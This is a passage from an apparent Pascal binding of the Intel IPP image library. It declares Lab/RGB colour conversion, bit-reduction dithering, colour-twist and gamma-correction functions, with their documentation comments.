Zn = 1.088753 * 255
L component values are in the range [0..100], a and b component values are
in the range [-128..127].
The CIELab to RGB conversion is performed as follows. At first
a Lab image is converted to the XYZ image
for ippiLabToBGR_8u_C3R
L = L * 100./ 255.
a = (a - 128.)
b = (a - 128.)
or for ippiLabToBGR_16u8u_C3R
L = L * 100./ 65535.
a = (a / 255 - 128.)
b = (b / 255 - 128.)
X = Xn * ( P + a / 500 )^3
Y = Yn * P^3
Z = Zn * ( P - b / 200 )^3
where P = (L + 16) / 116
Then the XYZ image is converted to the RGB color model (see the function
ippXYZToRGB_8u_C3R).
}
function ippiBGRToLab_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToLab_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLabToBGR_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLabToRGB_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiBGRToLab_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiRGBToLab_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLabToBGR_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLabToRGB_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiBGRToLab_8u16u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiLabToBGR_16u8u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiReduceBits_8u1u_C1R
Purpose: Reduces the bit resolution of an image.
Parameters:
pSrc - Pointer to the source image.
pDst - Pointer to the destination image.
dstBitOffset - Offset in the first byte of the destination image row.
roiSize - Size of ROI in pixels.
srcStep - Step in bytes through the source image to jump on the next line
dstStep - Step in bytes through the destination image to jump on the next line
noise - The number specifying the amount of noise added (as a percentage of a range [0..100]). Future plans
seed - The seed value used by the pseudo-random number generation. Future plans
dtype - The type of dithering to be used. The following types are supported:
ippDitherNone no dithering is done;
ippDitherStucki Stucki's dithering algorithm.
The next types are not supported:
ippDitherFS Floid-Steinberg's dithering algorithm. Future plans;
ippDitherJJN Jarvice-Judice-Ninke's dithering algorithm. Future plans;
ippDitherBayer Bayer's dithering algorithm. Future plans.
threshold - Threshold level.
pBuffer - Pointer to the buffer for internal calculations. Size of the buffer is calculated by ippiReduceBitsGetBufferSize.
Returns:
ippStsNoErr - Ok.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when the roiSize has a zero or negative value.
ippStsDitherTypeErr - Error when the dithering type is not supported.
}
function ippiReduceBits_8u1u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; dstBitOffset : Int32 ; roiSize : IppiSize ; noise : Int32 ; seed : Int32 ; dtype : IppiDitherType ; threshold : Ipp8u ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippReduceBits
Purpose: Reduces the bit resolution of an image.
Parameters:
pSrc - Pointer to the source image.
pDst - Pointer to the destination image.
roiSize - Size of ROI in pixels.
srcStep - Step in bytes through the source image to jump on the next line.
dstStep - Step in bytes through the destination image to jump on the next line.
noise - The number specifying the amount of noise added (as a percentage of a range [0..100]).
levels - The number of output levels for halftoning (dithering)[2.. MAX_LEVELS],
where MAX_LEVELS is 0x01 << depth, and depth is depth of the destination image.
dtype - The type of dithering to be used. The following types are supported:
ippDitherNone no dithering is done;
ippDitherStucki Stucki's dithering algorithm;
ippDitherFS Floid-Steinberg's dithering algorithm;
ippDitherJJN Jarvice-Judice-Ninke's dithering algorithm;
ippDitherBayer Bayer's dithering algorithm.
pBuffer - Pointer to the buffer for internal calculations. Size of the buffer is calculated by ippiReduceBitsGetBufferSize.
Note:
RGB values for the 32f data type should be in the range [0..1]
Returns:
ippStsNoErr - Ok.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsStepErr - Error when srcStep or dstStep is less than or equal to zero.
ippStsSizeErr - Error when the roiSize has a zero or negative value.
ippStsNoiseValErr - Error when the noise is less then 0 or greater then 100.
ippStsDitherLevelsErr - Error when the levels value is out of admissible range.
ippStsDitherTypeErr - Error when the dithering type is not supported.
}
function ippiReduceBits_8u_C1R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_8u_C4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_16u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_16u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_16u8u_C1R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_16u8u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_16u8u_C4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_16u8u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_16s_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_16s_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_16s8u_C1R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_16s8u_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_16s8u_C4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_16s8u_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_32f8u_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_32f8u_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_32f8u_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_32f8u_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_32f16u_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_32f16u_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_32f16u_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_32f16u_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_32f16s_C1R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_32f16s_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_32f16s_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
function ippiReduceBits_32f16s_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; levels : Int32 ; pBuffer : Ipp8uPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippiReduceBitsGetBufferSize
Purpose: Get the size (in bytes) of the buffer for ippiReduceBits functions.
Parameters:
ippChan - IPP channels name of of the source images. Possible values are ippC1, ippC3 or ippC4.
roiSize - Size, in pixels, of the source images.
noise - The number specifying the amount of noise added (as a percentage of a range [0..100]).
dtype - The type of dithering to be used. The supported types are the same as for ippiReduceBits functions.
pBufferSize - Pointer to the calculated buffer size (in bytes).
Returns:
ippStsNoErr - Ok.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when the roiSize has a zero or negative value.
ippStsChannelErr - Error when the ippChan has an illegal value.
ippStsNoiseValErr - Error when the noise is less then 0 or greater then 100.
ippStsDitherTypeErr - Error when the dithering type is not supported.
}
function ippiReduceBitsGetBufferSize( ippChan : IppChannels ; roiSize : IppiSize ; noise : Int32 ; dtype : IppiDitherType ; var pBufferSize : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiColorTwist
Purpose: Applies a color-twist matrix to an image.
|R| | t11 t12 t13 t14 | |r|
|G| = | t21 t22 t23 t24 | * |g|
|B| | t31 t32 t33 t34 | |b|
R = t11*r + t12*g + t13*b + t14
G = t21*r + t22*g + t23*b + t24
B = t31*r + t32*g + t33*b + t34
Returns:
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsStepErr One of the step values is zero or negative
ippStsNoErr OK
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
pSrcDst Pointer to the source/destination image (in-place flavors)
srcDstStep Step through the source/destination image (in-place flavors)
roiSize Size of the ROI
twist An array of color-twist matrix elements
}
function ippiColorTwist32f_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const twist : Ipp32f_3_4 ): IppStatus; _ippapi
function ippiColorTwist32f_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const twist : Ipp32f_3_4 ): IppStatus; _ippapi
function ippiColorTwist32f_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ; const twist : Ipp32f_3_4 ): IppStatus; _ippapi
function ippiColorTwist32f_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const twist : Ipp32f_3_4 ): IppStatus; _ippapi
function ippiColorTwist32f_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ; const twist : Ipp32f_3_4 ): IppStatus; _ippapi
function ippiColorTwist32f_16u_P3R( pSrc : Ipp16u_3Ptr ; srcStep : Int32 ; pDst : Ipp16u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ; const twist : Ipp32f_3_4 ): IppStatus; _ippapi
function ippiColorTwist32f_16s_C3R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const twist : Ipp32f_3_4 ): IppStatus; _ippapi
function ippiColorTwist32f_16s_AC4R( pSrc : Ipp16sPtr ; srcStep : Int32 ; pDst : Ipp16sPtr ; dstStep : Int32 ; roiSize : IppiSize ; const twist : Ipp32f_3_4 ): IppStatus; _ippapi
function ippiColorTwist32f_16s_P3R( pSrc : Ipp16s_3Ptr ; srcStep : Int32 ; pDst : Ipp16s_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ; const twist : Ipp32f_3_4 ): IppStatus; _ippapi
function ippiColorTwist_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const twist : Ipp32f_3_4 ): IppStatus; _ippapi
function ippiColorTwist_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const twist : Ipp32f_3_4 ): IppStatus; _ippapi
function ippiColorTwist_32f_P3R( pSrc : Ipp32f_3Ptr ; srcStep : Int32 ; pDst : Ipp32f_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ; const twist : Ipp32f_3_4 ): IppStatus; _ippapi
function ippiColorTwist32f_8u_C3IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const twist : Ipp32f_3_4 ): IppStatus; _ippapi
function ippiColorTwist32f_8u_AC4IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const twist : Ipp32f_3_4 ): IppStatus; _ippapi
function ippiColorTwist32f_8u_IP3R( pSrcDst : Ipp8u_3Ptr ; srcDstStep : Int32 ; roiSize : IppiSize ; const twist : Ipp32f_3_4 ): IppStatus; _ippapi
function ippiColorTwist32f_16u_C3IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const twist : Ipp32f_3_4 ): IppStatus; _ippapi
function ippiColorTwist32f_16u_AC4IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const twist : Ipp32f_3_4 ): IppStatus; _ippapi
function ippiColorTwist32f_16u_IP3R( pSrcDst : Ipp16u_3Ptr ; srcDstStep : Int32 ; roiSize : IppiSize ; const twist : Ipp32f_3_4 ): IppStatus; _ippapi
function ippiColorTwist32f_16s_C3IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const twist : Ipp32f_3_4 ): IppStatus; _ippapi
function ippiColorTwist32f_16s_AC4IR( pSrcDst : Ipp16sPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const twist : Ipp32f_3_4 ): IppStatus; _ippapi
function ippiColorTwist32f_16s_IP3R( pSrcDst : Ipp16s_3Ptr ; srcDstStep : Int32 ; roiSize : IppiSize ; const twist : Ipp32f_3_4 ): IppStatus; _ippapi
function ippiColorTwist_32f_C3IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const twist : Ipp32f_3_4 ): IppStatus; _ippapi
function ippiColorTwist_32f_AC4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; const twist : Ipp32f_3_4 ): IppStatus; _ippapi
function ippiColorTwist_32f_IP3R( pSrcDst : Ipp32f_3Ptr ; srcDstStep : Int32 ; roiSize : IppiSize ; const twist : Ipp32f_3_4 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiColorTwist_32f_C4R
Purpose: Applies a color-twist matrix to an image.
|R| | t11 t12 t13 t14 | |r|
|G| = | t21 t22 t23 t24 | * |g|
|B| | t31 t32 t33 t34 | |b|
|W| | t41 t42 t43 t44 | |w|
R = t11*r + t12*g + t13*b + t14*w
G = t21*r + t22*g + t23*b + t24*w
B = t31*r + t32*g + t33*b + t34*w
W = t41*r + t42*g + t43*b + t44*w
Returns:
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsStepErr One of the step values is zero or negative
ippStsNoErr OK
Parameters:
pSrc Pointer to the source image
srcStep Step through the source image
pDst Pointer to the destination image
dstStep Step through the destination image
roiSize Size of the ROI
twist An array of color-twist matrix elements
}
function ippiColorTwist_32f_C4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; const twist : Ipp32f_4_4 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippiGammaFwd, ippiGammaInv
Purpose: Performs gamma-correction of an RGB image (ippiGammaFwd);
converts a gamma-corrected RGB image back to the original (ippiGammaInv).
1). Gamma-correction:
for R,G,B < 0.018
R' = 4.5 * R
G' = 4.5 * G
B' = 4.5 * B
for R,G,B >= 0.018
R' = 1.099 * (R**0.45) - 0.099
G' = 1.099 * (G**0.45) - 0.099
B' = 1.099 * (B**0.45) - 0.099
2). Conversion to the original:
for R',G',B' < 0.0812
R = R' / 4.5
G = G' / 4.5
B = B' / 4.5
for R',G',B' >= 0.0812
R = (( R' + 0.099 ) / 1.099 )** 1 / 0.45
G = (( G' + 0.099 ) / 1.099 )** 1 / 0.45
B = (( B' + 0.099 ) / 1.099 )** 1 / 0.45
Note: example for range[0,1].
Parameters:
pSrc Pointer to the source image (pixel-order data). An array
of pointers to separate source color planes (planar data)
srcStep Step through the source image
pDst Pointer to the destination image (pixel-order data). An array
of pointers to separate destination color planes (planar data)
dstStep Step through the destination image
pSrcDst Pointer to the source/destination image (in-place flavors)
srcDstStep Step through the source/destination image (in-place flavors)
roiSize Size of the ROI
vMin, vMax Minimum and maximum values of the input 32f data.
Returns:
ippStsNullPtrErr One of the pointers is NULL
ippStsSizeErr roiSize has a field with zero or negative value
ippStsStepErr One of the step values is less than or equal to zero
ippStsGammaRangeErr vMax - vMin <= 0 (for 32f)
ippStsNoErr OK
}
function ippiGammaFwd_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGammaFwd_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGammaFwd_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGammaFwd_16u_P3R( pSrc : Ipp16u_3Ptr ; srcStep : Int32 ; pDst : Ipp16u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGammaFwd_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGammaFwd_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGammaFwd_32f_P3R( pSrc : Ipp32f_3Ptr ; srcStep : Int32 ; pDst : Ipp32f_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ; vMin : Ipp32f ; vMax : Ipp32f ): IppStatus; _ippapi
function ippiGammaFwd_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; vMin : Ipp32f ; vMax : Ipp32f ): IppStatus; _ippapi
function ippiGammaFwd_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; vMin : Ipp32f ; vMax : Ipp32f ): IppStatus; _ippapi
function ippiGammaInv_8u_P3R( pSrc : Ipp8u_3Ptr ; srcStep : Int32 ; pDst : Ipp8u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGammaInv_8u_C3R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGammaInv_8u_AC4R( pSrc : Ipp8uPtr ; srcStep : Int32 ; pDst : Ipp8uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGammaInv_16u_P3R( pSrc : Ipp16u_3Ptr ; srcStep : Int32 ; pDst : Ipp16u_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGammaInv_16u_C3R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGammaInv_16u_AC4R( pSrc : Ipp16uPtr ; srcStep : Int32 ; pDst : Ipp16uPtr ; dstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGammaInv_32f_P3R( pSrc : Ipp32f_3Ptr ; srcStep : Int32 ; pDst : Ipp32f_3Ptr ; dstStep : Int32 ; roiSize : IppiSize ; vMin : Ipp32f ; vMax : Ipp32f ): IppStatus; _ippapi
function ippiGammaInv_32f_C3R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; vMin : Ipp32f ; vMax : Ipp32f ): IppStatus; _ippapi
function ippiGammaInv_32f_AC4R( pSrc : Ipp32fPtr ; srcStep : Int32 ; pDst : Ipp32fPtr ; dstStep : Int32 ; roiSize : IppiSize ; vMin : Ipp32f ; vMax : Ipp32f ): IppStatus; _ippapi
function ippiGammaFwd_8u_IP3R( pSrcDst : Ipp8u_3Ptr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGammaFwd_8u_C3IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGammaFwd_8u_AC4IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGammaInv_8u_IP3R( pSrcDst : Ipp8u_3Ptr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGammaInv_8u_C3IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGammaInv_8u_AC4IR( pSrcDst : Ipp8uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGammaFwd_16u_IP3R( pSrcDst : Ipp16u_3Ptr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGammaFwd_16u_C3IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGammaFwd_16u_AC4IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGammaInv_16u_IP3R( pSrcDst : Ipp16u_3Ptr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGammaInv_16u_C3IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGammaInv_16u_AC4IR( pSrcDst : Ipp16uPtr ; srcDstStep : Int32 ; roiSize : IppiSize ): IppStatus; _ippapi
function ippiGammaFwd_32f_IP3R( pSrcDst : Ipp32f_3Ptr ; srcDstStep : Int32 ; roiSize : IppiSize ; vMin : Ipp32f ; vMax : Ipp32f ): IppStatus; _ippapi
function ippiGammaFwd_32f_C3IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; vMin : Ipp32f ; vMax : Ipp32f ): IppStatus; _ippapi
function ippiGammaFwd_32f_AC4IR( pSrcDst : Ipp32fPtr ; srcDstStep : Int32 ; roiSize : IppiSize ; vMin : Ipp32f ; vMax : Ipp32f ): IppStatus; _ippapi
